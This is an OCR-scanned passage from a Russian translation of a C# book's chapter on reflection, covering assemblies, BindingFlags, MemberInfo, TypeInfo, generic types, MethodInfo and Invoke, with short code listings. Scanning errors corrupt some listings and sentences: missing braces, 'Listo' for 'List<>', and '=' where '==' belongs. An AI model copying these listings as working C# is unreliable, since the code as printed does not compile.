требуемого типа. Оно должно содер- жать пространство имен, в котором располагается тип. Этот метод вер- нет значение null, если тип не найден, если только вы не вызовете один из перегруженных методов, дополнительно принимающих параметр типа bool. Если передать значенйе^гие, то в случае, если тип не будет найден, сгенерируется исключение. Существует также перегруженный метод, который принимает два аргумента типа bool, второй из них при 682
Отражение передаче значения true позволяет выполнить поиск без учета регистра. Все эти методы возвращают общедоступные (public) или закрытые (private) типы. Вы также можете запросить вложенный тип, указав имя содержащего его типа, затем символ «+» и далее имя вложенного типа. В листинге 13.2 объект типа Туре отражает объект типа Inside, который вложен в объект типа ContainingType, расположенный в пространстве имен MyLib. Этот пример сработает, даже если вложенный тип является закрытым. Листинг 13.2. Получение вложенного типа из сборки Type nt = someAssembly.GetType("MyLib.ContainingType+Inside"); Класс Assembly также предоставляет свойство Def inedTypes, которое возвращает коллекцию, содержащую объекты типа Typeinfo для каждо- го типа (на верхнем уровне или вложенных), определенного в сборке, а также объект типа ExportedTypes, возвращающий только открытые типы. Этот объект не будет включать объекты защищенных (protected) типов, вложенные в объекты открытых типов, что, возможно, немного удивительно, поскольку такие типы доступны извне сборки (пусть даже только классам, производным от содержащего типа). Эти свойства поя- вились в версии фреймворка .NET 4.5. Полная версия фреймворка так- же предлагает методы, которые называются GetTypes и GetExportedTypes, возвращающие массив объектов, имеющих тип Туре, и используются в версиях ниже 4.5. Помимо возвращения типов, в полной версии фреймворка-NET класс Assembly также может создавать новые экземпляры классов с по- мощью метода Createlnstance. (В версии Core Profile следует исполь- зовать метод Activator.Createlnstance, который будет рассмотрен да- лее.) Если вы передаете в этот метод полное имя типа в виде строки, он создаст экземпляр этого типа, если тип является общедоступным и имеет конструктор без аргументов. Также существуют перегруженные варианты метода, позволяющего работать с закрытыми и защищенными типами, а также с типами, которые не имеют конструктора без аргумен- тов. Однако они более сложны в использовании, потому что они также принимают аргументы, указывающие, что вы хотите задать имя типа без учета регистра; аргументы типа Cultureinfo, определяющего правила, по которым выполняется сравнение без учета регистра — в разных странах имеются свои представления о том, как выполнять такое сравнение, — а также аргументы для управления более сложными сценариями (на- пример, приведение типов для аргументов конструктора и активация 683
Глава 13 объектов на удаленных серверах). Тем не менее для большинства из ня можно передать значение null, что показано в листинге 13.3. | L Листинг 13.3. Динамическое создание объекта * object о = asm.Createlnstance( I "MyApp.WithConstructor", false, BindingFlags.Public I BindingFlags.Instance, null, new object[] { "Constructor argument" }, null, null); В этом фрагменте создается экземпляр типа, который называете WithConstructor и располагается в пространстве имен МуАрр в сборке, н которую ссылается asm. Аргумент false свидетельствует, что мы хотш точно указать имя типа, а не выполнять сравнение без учета регистр Аргументы BindingFlags демонстрируют, что выполняется поиск обще доступного конструктора экземпляра (см. следующую врезку «Флап привязки»). Вместо первого значения null можно передать объект тип Binder, который позволяет настраивать поведение на тот случай, когд переданные вами аргументы не совсем совпадают с типами требуемы аргументов. Не передав этот аргумент, я указал, что ожидаю, что пере данные аргументы в точности совпадут с требуемыми. (В противно! случае будет сгенерировано исключение.) Аргумент object!] содер жит список аргументов, которые я хотел бы передать в конструктор, - в этом примере лишь одну строку. Вместо предпоследнего значения null могла быть передана культура, если бы использовалось сравнение без учета регистра или автоматические преобразования между числовыми типами и строками, но поскольку нет необходимости делать ни то, hi другое, можно оставить его пустым. Последний аргумент предназначен для необычных сценариев, таких как удаленная активация. Если сборка содержит несколько файлов, вы можете получить пол- ный их список с помощью метода GetFiles, возвращающего массив объ- ектов FileStream, тип, который используется во фреймворке .NET пред- ставления файлов. Если вы передадите значение true, в возвращаемый результат будут включены любые потоки ресурсов, сохраненные в виде отдельных файлово-внешних по отношению к основной сборке. В про- тивном случае этот метод предоставит один поток для одного модуля. Кроме того, можно вызвать метод GetModules, также возвращающий массив, представляющий модули, из которых состоит сборки, но вместо 684
Отражение того, чтобы возвращать объекты типа Filestream, он возвращает объек- ты типа Module. Флаги привязки Многие API-интерфейсы отражения принимают аргумент перечис- ляемого типа BindingFlags для того, чтобы определить, какие элемен- ты следует возвращать. Например, вы можете передать значение BindingFlags. Public, чтобы указать, что хотите получить только обще- доступные члены или типы, или же значение BindingFlags.NonPublic, чтобы продемонстрировать, что желаете получить только элементы, не являющиеся общедоступными, или же можно объединить оба фла- га, чтобы указать, что нужно получить элементы обеих категорий. Также необходимо знать, что возможно задать комбинацию, при ко- торой не будет возвращено ничего. Необходимо включить, напри- мер, либо значение BindingFlags.Instance, либо BindingFlags.Static, потому что все типы являются либо статическими, либо нестатиче- скими (аналогично для значений BindingFlags.Public и BindingFlags. NonPublic). Зачастую методы, способные принять аргументы типа BindingFlags, предлагают свой перегруженный вариант, который этого не делает. По умолчанию считается, что необходимо вернуть общедоступные члены, статические и нестатические (то есть BindingFlags.Public | BindingFlags.Static I BindingFlags.Instance). Перечисление BindingFlags определяет множество вариантов, но не все они могут быть применены в каком-то конкретном сценарии. Например, в нем определено значение FlattenHierarchy, которое используется в API-интерфейсе отражения для возвращения чле- нов типа: если этот флаг присутствует, члены базового класса будут возвращены вместе с членами, определенными непосредственно в указанном типе. Эта опция не применима для метода Assembly. Createlnstance, поскольку нельзя использовать конструктор базово- го класса напрямую для создания объекта производного типа. Класс Module Класс Module представляет собой один из модулей, входящих в со- став сборки. Большинство сборок состоят из одного модуля, так что вам скорее всего не понадобится часто использовать этот тип. Он важен при 685
Глава 13 генерации кода во время выполнения программы, потому что вы долж- ны указать .NET, в какой модуль поместить созданный код, так что даже для обычных одномодульных сборок этот класс может использоваться явно. Но когда вы не создаете новых компонентов во время выполнения программы, вы часто можете проигнорировать класс Module, выполнив вашу задачу с помощью других типов, доступных в API-интерфейсе от- ражения. (Рассмотрение API-интерфейсов, предназначенных для гене- рации кода в .NET, выходит за рамки этой книги.) Если вам по каким-то причинам нужно использовать объект типа Module, вы можете получить модули из свойства Modules объекта класса Assembly* Кроме того, вы можете применить любой тип, который является про- изводным от Member Inf о, они описаны в следующих разделах. (На рис. 13.2 показано, какие типы следует использовать.) Это определяет свойство Module, которое возвращает объекты типа Module для всех членов. Класс Module предоставляет свойство Assembly, возвращающее ссылку на сборку, которая содержит данный модуль. Свойство Name воз- вращает имя файла этого модуля, а свойство FullyQualifiedName предо- ставляет имя файла и полный путь к нему. Как и в случае класса Assembly, класс Module определяет метод GetType. В одномодульных сборках этот метод будет неотличим от того же метода класса Assembly. Однако если вы разделили код вашей сборки на несколько модулей, эти методы будут предоставлять доступ только к тем к типам, что были определены в модуле, на который у вас есть ссылка. Но что более удивительно, в полной версии фреймворка класс Module также определяет свойства GetField, GetFields, GetMethod и GetMethods. Они обеспечивают доступ к методам и полям глобальной области види- мости. Вы никогда не увидите их в С#, потому что язык требует, чтобы все поля и методы были определены в пределах какого-то одного типа, но среда выполнения CLR позволяет определять методы и поля для глобальной области видимости, и поэтому API-интерфейс отражения должен располагать возможностью представить их. (Глобальные поля можно создать с помощью C++/CLI.) * Эта возможность былаЪведена в .NET 4.5. Также существует более старший метод GetModules, но он недоступен в Core API. 686
Отражение Класс Member Inf о Как и все классы, описанные в этом'разделе, класс Memberinfo яв- ляется абстрактным. Однако, в отличие от остальных, он не соответ- ствует одной части системы типов. Этот класс — общий базовый класс, предоставляющий общие функциональные возможности для всех ти- пов, представляющих элементы, которые могут быть членами других типов. Он базовый для классов Constructorinfo, Methodinfo, Fieldinfo, Propertyinfo, Eventinfo и Typeinfo, потому что все они могут быть члена- ми других типов. В самом деле, в языке C# все эти типы, кроме Typeinfo обязаны быть членами какого-либо другого типа (хотя, как вы только что видели в предыдущем разделе, некоторые языки позволяют созда- вать методы и поля в рамках модуля, а не отдельного типа). В классе Member Inf о определены общие свойства, необходимые для всех членов типов. В нем, конечно же, существует свойство Name, а также DeclaringType, ссылающееся на объект типа Туре типа, в котором нахо- дится элемент; оно возвращает значение null для невложенных типов, а также типов и методов с областью действия и модулей с областью действия, расположенной в рамках модуля. В классе Memberinfo т^кже определено свойство Module, ссылающееся на содержащий объект мо- дуль независимо от того, имеет ли рассматриваемый элемент в качестве области действия целый модуль либо является ли он членом типа. В полной версии фреймворка наряду со свойством DeclaringType в классе Memberinfo определено свойство Ref lectedType, которое указы- вает на тип, из которого был получен объект класса Memberinfo. Часто значения этого свойства будут одинаковыми, но это может изменить- ся, когда заходит речь о наследовании. Эта разница продемонстриро- вана в листинге 13.4. (Так как такое возможно только в полной версии фреймворка, я вызвал метод GetMethod непосредственно из объекта типа Туре вместо получения объекта типа Typeinfo.) Листинг 13.4. Свойство DeclaringType против свойства ReflectedType class Base public void Foo() ( ) ) class Derived Base 687
{ I class Program { static void Main(string[] args) { Memberinfo bf typeof(Base).GetMethod("Foo"); Memberlnfo df typeof(Derived).GetMethod("Foo"); Console.WriteLine("Base Declaring: {0}, Reflected: {1}", bf.DeclaringType, bf.ReflectedType); Console.WriteLine("Derived Declaring: {0}, Reflected: {1}", df.DeclaringType, df.ReflectedType); } } В этом примере возвращается объект типа Methodinfo для методов Base.Foo и Derived.Foo. (Класс Methodinfo является производным от класса Member Inf о.) Существуют разные способы описания одного и того же метода, в классе Derived не определен свой метод Foo, он просто на- следует тот, который был определен в классе Base. Программа сгенери- рует следующий результат: Base Declaring: Base, Reflected: Base Derived Declaring: Base, Reflected: Derived При получении информации для метода Foo с помощью объекта типа Туре класса Base объекты типов DeclaringType и ReflectedType, что неудивительно, имеют тип Base. Однако при получении информации о методе Foo с помощью типа Derived тип DeclaringType говорит нам, что метод определен в классе Base, в то время как тип ReflectedType указы- вает, что мы получили этот метод с помощью типа Derived. Поскольку объект класса Memberinfo помнит, из какого типа он был получен, сравнение двух объектов типа Memberinfo не яв- ляется надежным способом проверки того, ссылаются ли они на одно и то же. Сравнение объектов bf и df в листинге 13.4 как с помощью оператора ==, так и с помощью метода Equals бу- дет ложным, несмотря на то что они оба ссылаются на метод Base. Foo. В каком-то смысле это логично — перед вами разные объекты, и их свойства не идентичны, так что очевидно, что 688
Отражение они не равны. Но если вы не были в курсе об этой особенности свойства ReflectedType, вы могли бы не ожидать такого пове- дения. Несколько удивительно, что объект типа Member Inf о не предоставля- ет никакой информации о видимости описываемых им членов. Это мо- жет показаться странным, так как в языке C# все конструкции, которые соответствуют типам, являющимся производными от типа Member Inf о (например, конструкторы, методы или свойства), могут иметь префикс public, private и т. д. API-интерфейс отражения предоставляет эту ин- формацию, но не с помощью базового класса Member Inf о. Это происходит потому, что среда выполнения CLR обрабатывает видимость определен- ных типов немного иначе, чем это представлено в языке С#. С точки зрения среды выполнения CLR свойства и события не имеют собствен- ных модификаторов доступа. Вместо этого их доступность управляется на уровне отдельных методов. Это позволяет свойствам иметь методы set и get с различным уровнем доступа, и то же самое справедливо для аксессоров событий. При желании в C# можно независимо управлять уровнем доступа каждого аксессора. Где C# вводит нас в заблуждение, так это в возможности указать единый уровень доступа для всего свой- ства или события. На деле это лишь сокращенный способ указания оди- накового уровня доступа для обоих аксессоров. Сбивающим с толку мо- ментом является то, что мы можем определить доступность свойства или события, а затем указать другой уровень доступа для одного из его членов, как показано в листинге 13.5. Листинг 13.5. Доступность свойств public int Count I get; private set; } Это немного сбивает с толку, потому что, несмотря на то, как это вы- глядит, спецификатор public не распространяется на весь объект. Этот спецификатор, распространяющийся на все свойство, просто указывает компилятору, какой уровень доступа использовать для тех объектов, для которых не указан отдельный уровень доступности. В первой версии языка C# требовалось, чтобы у обоих методов был одинаковый уровень доступности, так что имело смысл указать ее для всего свойства. Но это было произвольное ограничение — среда выполнения CLR всегда по- 689
Глава 13 зволяла каждому методу иметь различный уровень доступности. В наше время язык C# поддерживает эту особенность, но, отдавая дань истории, синтаксис ее использования обманчиво асимметричен. С точки зрения среды выполнения CLR в листинге 13.5 просто указано сделать метод get общедоступным, а метод set — закрытым. В листинге 13.6 более на- глядно представлено происходящее на самом деле. Листинг 13.6. Как среда выполнения CLR видит доступность свойств // Не откомпилируется, хотя казалось бы, должно int Count { public get; private set; I Но мы не можем написать код таким образом, потому что язык C# требует, чтобы доступность для наиболее видимого из двух методов была указана на уровне свойства. Это упрощает синтаксис, когда оба свойства имеют тот же уровень доступа, но в результате ситуация ста- новится несколько странной, когда уровни отличаются. Кроме того, синтаксис, показанный в листинге 13.5 (то есть синтаксис, который на самом деле поддерживает компилятор), заставляет думать, что необхо- димо указывать спецификатор доступа в трех местах — на уровне свой- ства и для обоих методов. Среда выполнения CLR не поддерживает это, так что компилятор сгенерирует ошибку, если вы попытаетесь указать доступность для обоих методов доступа для свойства или события. По- тому для свойств и событий не существует понятия «доступность». (Представьте, что случилось бы, если бы это было не так — как во- обще следовало бы понимать тот факт, если бы само свойство имело, к примеру, спецификатор public, его метод get имел бы спецификатор internal, a set — private?) Следовательно, не все производные типы от класса Member Inf о обладают своим собственным спецификатором досту- па, поэтому API-интерфейс отражения предоставляет свойства, пред- ставляющие доступность при движении вниз по иерархии классов. Классы Туре и Typeinfo Класс Туре представляет собой отдельный тип. Он используется бо- лее широко, чем любой других классов, рассмотренных в этой главе, и именно поэтому он один располагается в пространстве имен System, 690
Отражение в то время как остальные определяются в пространстве имен System. Reflection. Объект этого типа получить -проще всего, поскольку язык C# имеет оператор, предназначенный именно для этого: typeof. Исполь- зование этого типа уже было показано в нескольких предыдущих при- мерах, но в листинге 13.7 его применение продемонстрировано в изоля- ции от объектов других типов. Как вы видите, можно использовать либо встроенное имя, например string, либо обычное имя типа, такое как IDisposable. Кроме того, можно включать пространство имен, но в этом нет необходимости, когда пространство имен типа находится в области действия. Листинг 13.7. Получение типа с помощью оператора TypeOf Type stringType = typeof (string) ; Type disposableType = typeof(IDisposable); Кроме того, как уже упоминалось в главе 6, тип System.Object (или object, как мы обычно записываем его в языке С#) предоставляет неста- тический метод GetType, который не принимает никаких аргументов. Вы можете вызвать его для любой переменной ссылочного типа для полу- чения типа объекта, на который эта переменная ссылается. Этот тип не обязательно будет совпадать с типом самой переменной, поскольку пе- ременная может ссылаться на экземпляр производного типа. Вы также можете вызвать этот метод для любой переменной с типом-значением, и поскольку такие типы не поддерживают наследование, он всегда будет возвращать объект для статического типа переменной. Все, что вам нужно, это объект, значение или идентификатор типа (например, string), довольно просто получить объект, имеющий тип Туре. Тем не менее есть много других мест, откуда можно получить объ- ект типа Туре. Как уже говорилось ранее во врезке «Туре, Typeinfo и .NET Core Profile», в версии .NET 4.5 был введен класс Typeinfo, который в настоя- щее время является рекомендуемым способом выполнения отражения определенного типа. (В более ранних версиях .NET вы должны исполь- зовать для этих целей тип Туре.) Вы можете получить объект этого типа от любого другого типа путем вызова метода GetTypelnfo. Однако суще- ствуют и другие способы. Как вы уже видели, вы можете получить типы из класса Assembly либо по имени, либо всем списком. Типы отражения, производные от класса Memberinfo, также предоставляют ссылку на свой вмещающий 691
Глава 13 тип с помощью свойства DeclaringType. (Классы Туре и Typeinfo явля- ются производными от класса Memberinfo, поэтому они тоже предостав- ляют это свойство, которое будет полезно при работе с вложенными ти- пами.) Обратите внимание, это свойство возвращает объект типа Туре, а не Typeinfo. Вы также можете вызвать собственный статический метод GetType типа Туре. Если вы передадите только строку имени типа с указанным пространством имен, этот метод выполнит поиск указанного типа в би- блиотеке mscorlib, а также в сборке, откуда был вызван метод. Тем не ме- нее вы можете передать также имя, включающее в себя сборку, которое сочетает в себе имя сборки и имя типа. Имя подобной формы начинает- ся с имени типа, для какого указано пространство имен, далее следует запятая, а затем имя сборки. Например, это имя класса System.String, включающее в себя сборку, используемое во фреймворках .NET 4.0 и 4.5 (оно разделено на две строки только для того, чтобы поместиться в этой книге): System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 k В полной версии фреймворка имеется соответствующий ме- тод ReflectionOnlyGetType, который работает таким же образом, но будет загружать сборки только для отражения, как и метод класса ReflectionOnlyLoadFrom класса Assembly, описанный ранее. Наряду со стандартными свойствами класса Memberinfo, таких как Module и Name, классы Туре и Typeinfo имеют различные собственные свойства. Унаследованное свойство Name содержит неполное имя, поэто- му в классе Туре имеется свойство Namespace. Все типы находятся в об- ласти действия сборки, поэтому в классе Typeinfo определено свойство Assembly. (Конечно, вы можете, попасть в него через свойство Module. Assembly, но более удобно использовать свойство Assembly.) В нем также определено свойство BaseType, хотя это будет иметь значение null для некоторых типов (например, неунаследованных интерфейсов и объек- тов типа Туре класса System.Object). Поскольку объект типа Type Info может представлять всевозможные типы, для него можно определить свойства, которые можно использо- вать для точного определения того, какой тип перед вами в данный мо- мент: IsArray, IsClass, IsEnum, Islnterface, IsPointer, IsValueType. (Вы также можете получить объект типа Typeinfo для типов, не входящих во 692
Отражение фреймворк .NET в сценариях взаимодействия, поэтому также определе- но свойство IsCOMObject.) Если рассматриваемый элемент представляет собой класс, существуют некоторые дополнительные свойства, могу- щие более подробно рассказать о том, какой класс сейчас перед вами: IsAbstract, IsSealed и IsNested. В классе Typeinfo также определены многочисленные свойства, предоставляющие информацию о видимости данного типа. Для невло- женных типов свойство Is Public говорит, является ли тип общедоступ- ным или внутренним, но для вложенных типов ситуация усложняется. Свойство IsNestedAssembly указывает на внутренний вложенный тип, в то время как свойства IsNestedPublic и IsNestedPrivate указывают на общедоступные и закрытые вложенные типы. Вместо обычной терми- нологии языков семейства С, в которой используется ключевое слово «protected», среда выполнения CLR применяет термин «семья», поэто- му существуют свойство IsNestedFamily для защищенных типов, свой- ство IsNestedFamORAssem для защищенных внутренних типов и свойство IsNestedFamANDAssem для типов, видимость которых не поддерживается языком C# и которые доступны только для кода, полученного из той же сборки, что и содержащий его тип. ' Класс Type Info также предоставляет методы, предназначенные для объектов обнаружения связанных с отражением объектов. Большая их часть имеет одну из двух форм: в первом случае вы знаете название того, что вы ищете, а в другом вы хотите увидеть полный список всех элементов указанного типа. Поэтому свойство Implementedlnterfaces возвращает объект типа Type Info для всех интерфейсов, реализуе- мых типом. Аналогично, существуют свойства DeclaredConstructors, DeclaredEvents, DeclaredFields, DeclaredMethods, DeclaredNestedTypes и DeclaredProperties. (Все эти свойства появились в .NET 4.5. Старый код будет использо- вать такие методы, как GetMethod, показанный ранее в листинге 13.4. Он принимал имя метода, но есть также метод GetMethods, который возвра- щает полный их список, а также соответствующие методы для других членов типов. Они по-прежнему доступны в полной версии фреймворка NET 4.5, обеспечивая обратную совместимость.) Класс Typeinfo также позволяет обнаружить отношения совмести- мости типов. Вы можете спросить, является ли один тип производным от другого типа, вызывая метод IsSubclassOf. Наследование — не един- ственная причина, по которой один тип может быть совместим со ссыл- 693
Глава 13 | I кой на другой тип. Переменная, чей тип является интерфейсом, может! ссылаться на объект любого типа, реализующего этот интерфейс, неза- висимо от его базового класса. Поэтому класс Typeinfo предлагает более общий метод, называемый IsAssignableFrom, использование которого показано в листинге 13.8. Листинг 13.8. Тестирование совместимости типов Typeinfo stringType = typeof(string).GetTypelnfo(); Typeinfo objectType = typeof(object).GetTypelnfo(); Console.WriteLine(stringType.IsAssignableFrom(objectType)); Console.WriteLine(objectType.IsAssignableFrom(stringType)); Этот фрагмент кода выведет сначала False, затем True, поскольку нельзя принять ссылку на объект типа object и назначить его перемен- ной типа string, однако существует возможность принять ссылку на объект типа string и назначить его переменной типа object. Помимо рассказов о типе и его отношении к другим типам в полной версии фреймворка .NET класс Туре (и, следовательно, Typeinfo) позво- ляет использовать элементы типа во время исполнения. Он определя- ет метод InvokeMember, чье точное значение зависит от того, какого рода метод вы вызываете, — он может означать вызов метода либо, напри- мер, получение или установку свойства или поля. Поскольку некото- рый типы членов поддерживают несколько видов вызова (например, get и set), необходимо указать, какую именно операцию вы хотите выпол- нить. В листинге 13.9 метод InvokeMember используется для вызова мето- да, заданного в виде строки, в экземпляре типа, также заданного в виде строки, которая создается динамически. Этот пример иллюстрирует принцип работы с типами и членами, чьи идентификаторы не известны во время выполнения программы. Листинг 13.9. Вызов метода с помощью метода InvokeMember public static object CreateAndInvokeMethod( string typeName, string member, params object[] args) { Type t = Type.GetType(typeName); object instance = Activator.Createlnstance(t); return t.InvokeMember( member, BindingFlags.Instance | BindingFlags.Public I BindingFlags.InvokeM^thod, 694
null, instance, args); } В этом примере сначала создается экземпляр указанного типа — при- меняется несколько иной подход к динамическому созданию, чем тот, ко- торый я показал ранее с использованием метода Assembly. Createlnstance. Здесь я использую метод Туре. GetType чтобы для поиска типа, азатем класс, о котором не упоминал ранее, Activator. Работа этого класса заключает- ся в том, что в нем создаются новые экземпляры объектов, тип которых вы определили во время выполнения. Его функциональность несколь- ко пересекается с функциональностью метода Assembly.Createlnstance, но в данном случае это наиболее удобный способ получить экземпляр типа Туре. (Этот подход также удобен тем, что он доступен в версии Core Profile.) Далее я использовал метод InvokeMember объекта типа Туре для вызова заданного метода (этот метод доступен только в полной версии). Как и в листинге 13.3, я должен был указать флаги привязки, чтобы про- демонстрировать, какой член я ищу, а также что с ним делать — в этом примере я хочу вызвать метод (в отличие от, скажем, задания значения свойства). Значение null, переданное в качестве одного аргумента, име- ет значение, аналогичное его значению в листинге 13.3, — на этом месте можно было определить Binder, если бы это требовалось, для поддержки автоматического приведения типов аргументов метода. Обобщенные типы Поддержка во фреймворке .NET обобщенных типов усложняет роль классов Туре и Type Info. Помимо представления обычных необоб- щенных типов класс Туре может представлять собой отдельный объект обобщенного типа (например, List <int>), а также объект несвязанного универсального типа (например, List < >, хотя такой идентификатор недействителен во всех ситуациях, кроме одной очень конкретной). В листинге 13.10 показано, как получить оба вида объекта типа Туре. Листинг 13.10. Объекты типа Туре для обобщенных типов Type bound = typeof(List<int>); Type unbound = typeof (Listo) ; Оператор typeof — это единственное место, где можно использовать несвязанный универсальный идентификатор типа в языке С#; во всех других контекстах было бы ошибкой не передавать аргументы типа. 695
Глава 13 Кстати, если тип принимает набор аргументов типа, вы должны рая делить их запятыми — например, так typeof (Dictionaryc, >). Это не обходимо, чтобы избежать двусмысленности, когда имеется нескольй обобщенных типов с одинаковыми именами, отличающимися тольм количеством типов-параметров, которые им требуются (оно называете «мощность»), например typeof (Tuple <f> ) против typeof (Tuple <,, > ). Вы не можете указать частично определенный обобщенный тш Например, выражение typeof (Dictionary<string, > ) вызовет ошибк компиляции. Вы можете указать типу Typeinfo, когда объект относится к универ сальному типу — свойство IsGenericType вернет значение true для свя занного и несвязанного типа из листинга 13.10. Вы также можете опре делить, действительно ли аргументы типа были переданы с помощи свойства IsGenericTypeDefinition, которое вернет значение true илй false для объектов типа Typeinfo, соответствующих связанным и несвя»| занным типам соответственно. Если у вас есть связанный обобщенны^ тип и вы хотели бы получить несвязанныый тип, из которого он был создан, можно использовать GetGenericTypeDefinition метод (доступе! для классов Туре и Typeinfo) — вызов этого метода для связанного тип! вернет тот объект, на какой сослался бы несвязанный. Учитывая o6beKTTHnaTypeInf о,4becBoficTBOlsGenericTypeDefinitioB возвращает значение true, вы можете создать новую связанную версии этого типа вызвав метод MakeGenericType, передавая ему массив объек- тов типа Туре, по одному для аргумента каждого типа. Если у вас есть обобщенный тип, вы можете получить его аргумента типа с помощью свойства GenericTypeArguments. Удивительно, но это ра- ботает даже для несвязанных типов, хотя в этом случае его поведение ме няется. Если вы получаете аргументы типа Gener icTypeArguments от тит bound из листинга 13.10, он вернет массив, содержащий один объект тига Туре, который будет таким же, тот, который вы получите, вызвав mctoj typeof (int). Если вы вызовете метод unbound.GenericTypeArguments,вь также получите массив, содержащий один элемент типа Туре, но на эпи раз он будет иметь тип, который не представляет собой определенны! тип, — его свойство IsGenericParameter будет иметь значение true, ука- зывая, что этот объект представляет собой заполнитель. Его имя в этом случае окажется Т. В общем случае имя будет соответствовать имени любого заполнителя, выбранного для обобщенных типов. Например при вызове метода typeof (Dictionary <r >) вы получите два объект! 696
Отражение типа Туре, которые имеют имена ТКеу и TValue соответственно. Вы стол- кнетесь с похожими аргументами обобщенных типов, представляющи- ми собой заполнитель, если вы используете~АР1-интерфейс отражения для поиска членов обобщенных типов. Например, если вы получили объект типа Methodlnf о для метода Add несвязанного типа List < >, вы увидите, что он принимает один аргу- мент типа с именем Т, который возвращает true, если обратиться к его свойству IsGenericParameter. Когда объект типа Typeinfo представляет несвязанный обобщенный параметр, вы можете узнать, является ли параметр ковариантным или контравариантными (или ни тем, ни другим), с помощью его метода GenericParameterAttributes. Классы MethodBase, Constructor Inf о и Methodinfo Конструкторы и методы имеют много общего. Им присущи оди- наковые спецификаторы доступа, у них обоих есть списки аргумен- тов, и они оба могут содержать код. Следовательно, типы Methodinfo и Constructorinfo, используемые при отражении, имеют общий базовый класс, MethodBase, который определяет свойства и методы для обработки этих общих аспектов. Не существует легковесного класса, представляющего мето- ды (то есть нет эквивалента типу Туре). Только типы имеют два представления. Для получения объектов класса Methodinfo или Constructorinfo, по- мимо использования свойств класса Typeinfo, о которых я упоминал ранее, вы можете вызывать статический метод GetCurrentMethod класса MethodBase, если вы используете полную версию фреймворка .NET. Он проверяет вызывающий код, чтобы понять, конструктор это или обыч- ный метод, и возвращает соответственно либо объект класса Methodinfo, либо Constructorinfo. Так же как и члены, которые наследуются от класса Member Inf о, класс MethodBase определяет свойства, определяющие доступность определен- ного члена. Они похожи по своей концепции на те свойства, что уже были описаны ранее для типов, но названия немного отличаются, потому что 697
Глава 13 в отличие от класса Typeinfo класс MethodBase не разграничивает вложен- ные и невложенные члены. Поэтому в классе MethodBase присутствуют свойства IsPublic, IsPrivate, IsAssembly, IsFamily и IsFamilyOrAssembly для общедоступных, закрытых, внутренних, защищенных и защищен- ных внутренних методов соответственно, а также IsFamilyAndAssembly для видимости, которая не может быть указана с помощью языка С#. С точки зрения языка C# имеет смысл не различать вложенные и невложенные методы, поскольку язык C# не допускает создания гло- бальных методов, а это означает, что все методы являются вложенными в типы. Тем не менее среда выполнения CLR поддерживает глобальные методы, поэтому классы Туре и MethodBase описывают члены, которые могли быть глобальными или вложенными. Таким образом, различие в именах свойств может показаться несколько произвольным, особенно когда вы заметите незначительные бессмысленные различия в сравне- нии заглавных и строчных имен, а также при использовании сокраще- ний, таких как IsNestedFamANDAssem против IsFamilyAndAssembly. В дополнение к свойствам, характеризующим доступность, класс MethodBase определяет свойства, которые указывают на различные аспекты метода, например IsStatic, IsAbstract, IsVirtual, IsFinal и IsConstructor. Существуют также свойства для более удобной работы с обобщен- ными методами. Свойства IsGenericMethod и GenericMethodDefinition являются эквивалентами свойств IsGenericType и IsGenericTypeDefini- tion. Как в случае с классом Туре, существует метод GetGenericMethod- Definition, позволяющий получить из связанного обобщенного метода несвязанный, и метод MakeGenericMethod для получения связанного обоб- щенного метода из несвязанного. Вы можете получить аргументы типа, вызвав метод GetGenericArguments, что также верно и для обобщенных ти- пов — в этом случае будут возвращены конкретные типы при вызове для связанного метода, а при вызове для несвязанного — тип-заполнитель. Можно контролировать реализацию метода путем вызова метода GetMethodBody. Этот метод возвращает объект типа MethodBody, который предоставляет доступ к коду на промежуточном языке (в виде массива байтов), а также к определению локальных переменных, используемых методом. Класс Methodi появляется производным от класса MethodBase и пред- ставляет лишь методы (но не конструкторы). Он добавляет параметр 698
Отражение ReturnType, представляющий объект типа Туре, указывающий на возвра- щаемый методом тип. (Существует особыйсистемный тип, System. Void, чей объекта типа Туре используется в том случае, когда метод не имеет возвращаемого типа.) Класс Constructorinfo не добавляет никаких свойств к унаследован- ным от класса MethodBase. В нем определяются два статических поля, до- ступных только для чтения: ConstructorName и TypeConstructorName. Они содержат строки ’’.ctor” и .cctor” соответственно, являющиеся значения- ми, которые вы найдете в свойстве Name объектов типа Constructorinfo для статических и нестатических конструкторов. Поскольку среда вы- полнения CLR заботится об этом, здесь должны присутствовать реаль- ные имена, хотя в языке C# конструкторы имеют имена, совпадающие с именем типа, в котором он описаны, это верно только для исходных файлов, но не на момент выполнения программы. Вы можете вызвать метод или конструктор, представленные объек- тами классов Methodlnfo и Constructorinfo, путем вызова метода Invoke. Этот метод выполняет те же действия, что и метод Туре. Использование метода InvokeMember было продемонстрировано в листинге 13.9.,Одна- ко поскольку метод Invoke предназначен для работы исключительно с методами и конструкторами, применять его гораздо проще, также он присутствует в версии .NET Core Profile. Если вы используете класс Constructorlnfo, вам необходимо передать лишь массив аргументов. Если вы применяете класс Methodlnfo, вам необходимо передать так- же объект, для которого необходимо вызвать метод, или значение null, если вызываемый метод — статический. В листинге 13.11 выполняется та же самая работа, что и в листинге 13.9, но теперь уже с использовани- ем класса Methodlnfo. Листинг 13.11. Вызов метода public static object CreateAndInvokeMethod( string typeName, string member, params object[] args) Type t = Type.GetType(typeName); object instance = Activator.Createlnstance (t); Methodlnfo m = t.GetTypeInfo() .DeclaredMethods.Single( mi => mi.Name = member); return m. Invoke (instance, args);
Глава 13 Как для методов, так и для конструкторов возможно вызвать метод GetParameters, который возвратит массив объектов типа Parameterinfo, представляющих параметры метода. Класс Parameterlnfo Класс Parameterinfo является представлением параметров методов и конструкторов. Его свойства ParameterType и Name предоставляют ба- зовую информацию, какую обычно можно получить из сигнатуры ме- тода. Также в этом классе определено свойство Member, ссылающееся на метод или конструктор, которому принадлежит параметр. Свойство HasDefau It Value расскажет, является ли параметр опциональным, и если это утверждение верно, свойство Def au It Value хранит значение по умол- чанию, значение которого используется, если параметр опущен. Если вы работаете с членами, определенными в несвязанных обоб- щенных типах, либо с несвязанным обобщенным методом, следует знать, что свойство ParameterType объекта типа Parameterinfo может относить- ся к аргументу обобщенного типа, а не реального. Это также верно для объектов типа Туре, возвращаемых с помощью отражения объектов, описанного в следующих трех разделах. Класс Fieldinfo Класс Fieldlnfo представляет собой поле типа. Как правило, его можно получить из объекта типа Туре, или, в случае, если вы используе- те код, написанный на языке, который поддерживает глобальные поля, вы можете получить его из содержащего его объекта типа Module. Объект типа Fieldinfo содержит набор свойств, представляющих его доступность. Эти свойства очень похожи на свойства, определен- ные для класса MethodBase. Кроме того, существует свойство FieldType, представляющих тип содержимого поля. (Как всегда, если член принад- лежит 